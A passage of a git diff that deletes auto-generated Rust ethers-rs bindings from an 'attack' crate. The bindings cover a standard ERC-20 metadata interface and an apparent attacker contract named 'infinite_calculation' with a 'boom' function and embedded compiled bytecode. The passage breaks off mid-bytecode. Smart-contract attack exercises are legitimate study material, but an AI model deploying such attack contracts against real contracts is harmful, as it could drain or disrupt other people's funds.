::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("balanceOf"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("balanceOf"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("account"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("decimals"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("decimals"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint(8usize), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint8"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("name"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("name"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::String, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("string"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("symbol"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("symbol"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::String, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("string"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("totalSupply"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("totalSupply"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("transfer"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("transfer"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("amount"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("transferFrom"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("transferFrom"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("from"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("amount"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ]), - events: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("Approval"), - ::std::vec![ - ::ethers::core::abi::ethabi::Event { - name: ::std::borrow::ToOwned::to_owned("Approval"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("owner"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - indexed: true, - }, - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("spender"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - indexed: true, - }, - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("value"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - indexed: false, - }, - ], - anonymous: false, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("Transfer"), - ::std::vec![ - ::ethers::core::abi::ethabi::Event { - name: ::std::borrow::ToOwned::to_owned("Transfer"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("from"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - indexed: true, - }, - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - indexed: true, - }, - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("value"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - indexed: false, - }, - ], - anonymous: false, - }, - ], - ), - ]), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static IERC20METADATA_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - pub struct IERC20Metadata(::ethers::contract::Contract); - impl ::core::clone::Clone for IERC20Metadata { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for IERC20Metadata { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for IERC20Metadata { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for IERC20Metadata { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(IERC20Metadata)) - .field(&self.address()) - .finish() - } - } - impl IERC20Metadata { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - IERC20METADATA_ABI.clone(), - client, - )) - } - ///Calls the contract's `allowance` (0xdd62ed3e) - /// function - pub fn allowance( - &self, - owner: ::ethers::core::types::Address, - spender: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([221, 98, 237, 62], (owner, spender)) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `approve` (0x095ea7b3) - /// function - pub fn approve( - &self, - spender: ::ethers::core::types::Address, - amount: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([9, 94, 167, 179], (spender, amount)) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `balanceOf` (0x70a08231) - /// function - pub fn balance_of( - &self, - account: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([112, 160, 130, 49], account) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `decimals` (0x313ce567) - /// function - pub fn decimals( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([49, 60, 229, 103], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `name` (0x06fdde03) - /// function - pub fn name( - &self, - ) -> ::ethers::contract::builders::ContractCall - { - self.0 - .method_hash([6, 253, 222, 3], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `symbol` (0x95d89b41) - /// function - pub fn symbol( - &self, - ) -> ::ethers::contract::builders::ContractCall - { - self.0 - .method_hash([149, 216, 155, 65], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `totalSupply` (0x18160ddd) - /// function - pub fn total_supply( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([24, 22, 13, 221], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `transfer` (0xa9059cbb) - /// function - pub fn transfer( - &self, - to: ::ethers::core::types::Address, - amount: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([169, 5, 156, 187], (to, amount)) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `transferFrom` (0x23b872dd) - /// function - pub fn transfer_from( - &self, - from: ::ethers::core::types::Address, - to: ::ethers::core::types::Address, - amount: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([35, 184, 114, 221], (from, to, amount)) - .expect("method not found (this should never happen)") - } - ///Gets the contract's `Approval` event - pub fn approval_filter( - &self, - ) -> ::ethers::contract::builders::Event< - ::std::sync::Arc, - M, - ApprovalFilter, - > { - self.0.event() - } - ///Gets the contract's `Transfer` event - pub fn transfer_filter( - &self, - ) -> ::ethers::contract::builders::Event< - ::std::sync::Arc, - M, - TransferFilter, - > { - self.0.event() - } - /// Returns an `Event` builder for all the events of - /// this contract. - pub fn events( - &self, - ) -> ::ethers::contract::builders::Event< - ::std::sync::Arc, - M, - IERC20MetadataEvents, - > { - self.0.event_with_filter(::core::default::Default::default()) - } - } - impl - From<::ethers::contract::Contract> for IERC20Metadata - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - #[derive( - Clone, - ::ethers::contract::EthEvent, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethevent(name = "Approval", abi = "Approval(address,address,uint256)")] - pub struct ApprovalFilter { - #[ethevent(indexed)] - pub owner: ::ethers::core::types::Address, - #[ethevent(indexed)] - pub spender: ::ethers::core::types::Address, - pub value: ::ethers::core::types::U256, - } - #[derive( - Clone, - ::ethers::contract::EthEvent, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethevent(name = "Transfer", abi = "Transfer(address,address,uint256)")] - pub struct TransferFilter { - #[ethevent(indexed)] - pub from: ::ethers::core::types::Address, - #[ethevent(indexed)] - pub to: ::ethers::core::types::Address, - pub value: ::ethers::core::types::U256, - } - ///Container type for all of the contract's events - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum IERC20MetadataEvents { - ApprovalFilter(ApprovalFilter), - TransferFilter(TransferFilter), - } - impl ::ethers::contract::EthLogDecode for IERC20MetadataEvents { - fn decode_log( - log: &::ethers::core::abi::RawLog, - ) -> ::core::result::Result { - if let Ok(decoded) = ApprovalFilter::decode_log(log) { - return Ok(IERC20MetadataEvents::ApprovalFilter(decoded)); - } - if let Ok(decoded) = TransferFilter::decode_log(log) { - return Ok(IERC20MetadataEvents::TransferFilter(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData) - } - } - impl ::core::fmt::Display for IERC20MetadataEvents { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::ApprovalFilter(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::TransferFilter(element) => { - ::core::fmt::Display::fmt(element, f) - } - } - } - } - impl ::core::convert::From for IERC20MetadataEvents { - fn from(value: ApprovalFilter) -> Self { Self::ApprovalFilter(value) } - } - impl ::core::convert::From for IERC20MetadataEvents { - fn from(value: TransferFilter) -> Self { Self::TransferFilter(value) } - } - ///Container type for all input parameters for the - /// `allowance` function with signature - /// `allowance(address,address)` and selector - /// `0xdd62ed3e` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "allowance", abi = "allowance(address,address)")] - pub struct AllowanceCall { - pub owner: ::ethers::core::types::Address, - pub spender: ::ethers::core::types::Address, - } - ///Container type for all input parameters for the - /// `approve` function with signature - /// `approve(address,uint256)` and selector `0x095ea7b3` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "approve", abi = "approve(address,uint256)")] - pub struct ApproveCall { - pub spender: ::ethers::core::types::Address, - pub amount: ::ethers::core::types::U256, - } - ///Container type for all input parameters for the - /// `balanceOf` function with signature - /// `balanceOf(address)` and selector `0x70a08231` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "balanceOf", abi = "balanceOf(address)")] - pub struct BalanceOfCall { - pub account: ::ethers::core::types::Address, - } - ///Container type for all input parameters for the - /// `decimals` function with signature `decimals()` and - /// selector `0x313ce567` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "decimals", abi = "decimals()")] - pub struct DecimalsCall; - ///Container type for all input parameters for the - /// `name` function with signature `name()` and selector - /// `0x06fdde03` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "name", abi = "name()")] - pub struct NameCall; - ///Container type for all input parameters for the - /// `symbol` function with signature `symbol()` and - /// selector `0x95d89b41` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "symbol", abi = "symbol()")] - pub struct SymbolCall; - ///Container type for all input parameters for the - /// `totalSupply` function with signature - /// `totalSupply()` and selector `0x18160ddd` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "totalSupply", abi = "totalSupply()")] - pub struct TotalSupplyCall; - ///Container type for all input parameters for the - /// `transfer` function with signature - /// `transfer(address,uint256)` and selector - /// `0xa9059cbb` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "transfer", abi = "transfer(address,uint256)")] - pub struct TransferCall { - pub to: ::ethers::core::types::Address, - pub amount: ::ethers::core::types::U256, - } - ///Container type for all input parameters for the - /// `transferFrom` function with signature - /// `transferFrom(address,address,uint256)` and selector - /// `0x23b872dd` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall( - name = "transferFrom", - abi = "transferFrom(address,address,uint256)" - )] - pub struct TransferFromCall { - pub from: ::ethers::core::types::Address, - pub to: ::ethers::core::types::Address, - pub amount: ::ethers::core::types::U256, - } - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum IERC20MetadataCalls { - Allowance(AllowanceCall), - Approve(ApproveCall), - BalanceOf(BalanceOfCall), - Decimals(DecimalsCall), - Name(NameCall), - Symbol(SymbolCall), - TotalSupply(TotalSupplyCall), - Transfer(TransferCall), - TransferFrom(TransferFromCall), - } - impl ::ethers::core::abi::AbiDecode for IERC20MetadataCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Allowance(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Approve(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::BalanceOf(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Decimals(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Name(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Symbol(decoded)); - } - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::TotalSupply(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Transfer(decoded)); - } - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::TransferFrom(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for IERC20MetadataCalls { - fn encode(self) -> Vec { - match self { - Self::Allowance(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Approve(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::BalanceOf(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Decimals(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Name(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Symbol(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::TotalSupply(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Transfer(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::TransferFrom(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for IERC20MetadataCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::Allowance(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Approve(element) => ::core::fmt::Display::fmt(element, f), - Self::BalanceOf(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Decimals(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Name(element) => ::core::fmt::Display::fmt(element, f), - Self::Symbol(element) => ::core::fmt::Display::fmt(element, f), - Self::TotalSupply(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Transfer(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::TransferFrom(element) => { - ::core::fmt::Display::fmt(element, f) - } - } - } - } - impl ::core::convert::From for IERC20MetadataCalls { - fn from(value: AllowanceCall) -> Self { Self::Allowance(value) } - } - impl ::core::convert::From for IERC20MetadataCalls { - fn from(value: ApproveCall) -> Self { Self::Approve(value) } - } - impl ::core::convert::From for IERC20MetadataCalls { - fn from(value: BalanceOfCall) -> Self { Self::BalanceOf(value) } - } - impl ::core::convert::From for IERC20MetadataCalls { - fn from(value: DecimalsCall) -> Self { Self::Decimals(value) } - } - impl ::core::convert::From for IERC20MetadataCalls { - fn from(value: NameCall) -> Self { Self::Name(value) } - } - impl ::core::convert::From for IERC20MetadataCalls { - fn from(value: SymbolCall) -> Self { Self::Symbol(value) } - } - impl ::core::convert::From for IERC20MetadataCalls { - fn from(value: TotalSupplyCall) -> Self { Self::TotalSupply(value) } - } - impl ::core::convert::From for IERC20MetadataCalls { - fn from(value: TransferCall) -> Self { Self::Transfer(value) } - } - impl ::core::convert::From for IERC20MetadataCalls { - fn from(value: TransferFromCall) -> Self { Self::TransferFrom(value) } - } - ///Container type for all return fields from the - /// `allowance` function with signature - /// `allowance(address,address)` and selector - /// `0xdd62ed3e` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct AllowanceReturn(pub ::ethers::core::types::U256); - ///Container type for all return fields from the - /// `approve` function with signature - /// `approve(address,uint256)` and selector `0x095ea7b3` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct ApproveReturn(pub bool); - ///Container type for all return fields from the - /// `balanceOf` function with signature - /// `balanceOf(address)` and selector `0x70a08231` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct BalanceOfReturn(pub ::ethers::core::types::U256); - ///Container type for all return fields from the - /// `decimals` function with signature `decimals()` and - /// selector `0x313ce567` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct DecimalsReturn(pub u8); - ///Container type for all return fields from the `name` - /// function with signature `name()` and selector - /// `0x06fdde03` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct NameReturn(pub ::std::string::String); - ///Container type for all return fields from the - /// `symbol` function with signature `symbol()` and - /// selector `0x95d89b41` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct SymbolReturn(pub ::std::string::String); - ///Container type for all return fields from the - /// `totalSupply` function with signature - /// `totalSupply()` and selector `0x18160ddd` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct TotalSupplyReturn(pub ::ethers::core::types::U256); - ///Container type for all return fields from the - /// `transfer` function with signature - /// `transfer(address,uint256)` and selector - /// `0xa9059cbb` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct TransferReturn(pub bool); - ///Container type for all return fields from the - /// `transferFrom` function with signature - /// `transferFrom(address,address,uint256)` and selector - /// `0x23b872dd` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct TransferFromReturn(pub bool); -} diff --git a/attack/src/abi/infinite_calculation.rs b/attack/src/abi/infinite_calculation.rs deleted file mode 100644 index 6d388c0..0000000 --- a/attack/src/abi/infinite_calculation.rs +++ /dev/null @@ -1,293 +0,0 @@ -pub use infinite_calculation::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod infinite_calculation { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address payable"), - ), - }, - ], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("boom"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("boom"), - inputs: ::std::vec![], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("owner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("owner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: true, - fallback: true, - } - } - ///The parsed JSON ABI of the contract. - pub static INFINITECALCULATION_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x01\xFC8\x03\x80a\x01\xFC\x839\x81\x01`@\x81\x90Ra\0/\x91a\0bV[`\0\x80T3`\x01`\x01`\xA0\x1B\x03\x19\x91\x82\x16\x17\x90\x91U`\x01\x80T\x90\x91\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90Ua\0\x92V[`\0` \x82\x84\x03\x12\x15a\0tW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\x8BW`\0\x80\xFD[\x93\x92PPPV[a\x01[\x80a\0\xA1`\09`\0\xF3\xFE`\x80`@R`\x046\x10a\0*W`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x14a\x003W\x80c\xA1i\xCE\t\x14a\0\x89W\xFE[6a\x001W\0[\xFE[4\x80\x15a\0?W`\0\x80\xFD[P`\0Ta\0`\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\0\x95W`\0\x80\xFD[Pa\0\x9Ea\0\xA0V[\0[`\x01T`@Q\x7FN\x1CY\x14\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R0`\x04\x82\x01Rs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x90cN\x1CY\x14\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\x0BW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\x1FW=`\0\x80>=`\0\xFD[PPPPV\xFE\xA2dipfsX\"\x12 \xB1\xFC\xF5\xE8\xE9\xDF\xAE\x0B\x98\xD7h\xC1|\xF8\xD9\x1E<\xF8\x10\xA3\xDE\xE3Qd\x82y\x0F\xDC0o\x06^dsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static INFINITECALCULATION_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\x046\x10a\0*W`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x14a\x003W\x80c\xA1i\xCE\t\x14a\0\x89W\xFE[6a\x001W\0[\xFE[4\x80\x15a\0?W`\0\x80\xFD[P`\0Ta\0`\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` 